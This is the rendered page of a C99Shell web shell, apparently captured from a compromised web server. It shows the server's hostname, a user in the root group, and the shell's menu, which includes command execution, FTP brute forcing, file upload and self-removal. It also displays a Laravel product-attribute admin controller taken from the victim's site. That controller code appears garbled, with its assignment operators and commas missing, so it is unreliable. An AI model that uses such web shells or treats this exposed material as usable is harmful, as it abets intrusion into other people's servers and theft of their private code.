!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smab.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 29.39 GB of 117.98 GB (24.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ProductAttributeController.php (3.42 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\ProductAttribute;
use 
App\Models\ProductAttributeDescription;
use 
App\Models\ProductAttributeGroup;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Route;

class 
ProductAttributeController extends Controller
{
    public function 
index(Request $request) {
        
$name $request->get('name''');

        
$records ProductAttribute::with('productGroup:name,id','productAttributeDescription:language_id,attribute_id,name')
            ->
select('id','group_id','status')
            ->
when($name != '', function($q) use($name) {
              
$q->whereHas('productAttributeDescription',function($q) use($name){
                  
$q->where('name','like',"%$name%");
              })->
orWhereHas('productGroup',function($q) use($name){
                      
$q->where('name','like',"%$name%");
                  });
            })->
orderBy('created_at','DESC')->paginate($this->defaultPaginate);

        return 
view('admin.product_attribute.index',['records' => $records]);
    }

    public function 
add() {
        return 
view('admin.product_attribute.add',[
            
'productAttributeGroup' => ProductAttributeGroup::getActivePluck()->get()
        ]);
    }

    protected function 
validateData ($request) {
        
$this->validate($request, [
            
'multilanguage.*.name' => ['required''string''max:255']
        ],[
          
'multilanguage.*.name.required' => 'Name is required'
        
]);
    }

    public function 
store(Request $request) {
        
$this->validateData($request);
        
$data = new ProductAttribute($request->only('name','group_id','status'));
        
$data->save();
        
$descriptionModel =  new ProductAttributeDescription();
        
$buildMultiLanguage $descriptionModel->buildMultiLang($data->id,$request->multilanguage);
        
$descriptionModel->upsert($buildMultiLanguage,['attribute_id','language_id','name']);
        return 
redirect(route('product-attribute'))->with('success','Product Attribute Created Successfully');
    }

    public function 
edit($id) {
        return 
view('admin.product_attribute.edit',[
            
'data' => ProductAttribute::with('attributeMultipleDescription')->findOrFail($id),
            
'productAttributeGroup' =>ProductAttributeGroup::getActivePluck()->get()
        ]);
    }

    public function 
update(Request $request,$id) {

        
$this->validateData($request);
        
$data ProductAttribute::findOrFail($id);
        
$data->fill($request->only('name','group_id','status'))->save();
        
$descriptionModel =  new ProductAttributeDescription();
        
$descriptionModel->where('attribute_id',$id)->delete();
        
$buildMultiLanguage $descriptionModel->buildMultiLang($data->id,$request->multilanguage);
        
$descriptionModel->upsert($buildMultiLanguage,['attribute_id','language_id','name']);

        return 
redirect(route('product-attribute'))->with('success','Product Attribute Updated Successfully');
    }

    public function 
delete($id) {
        if(! 
$data ProductAttribute::whereId($id)->first()) {
            return 
redirect()->back()->with('error''Something went wrong');
        }

        
$data->delete();
        
$descriptionModel =  new ProductAttributeDescription();
        
$descriptionModel->where('attribute_id',$id)->delete();

        return 
redirect(route('product-attribute'))->with('success''Product Attribute  Deleted Successfully');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--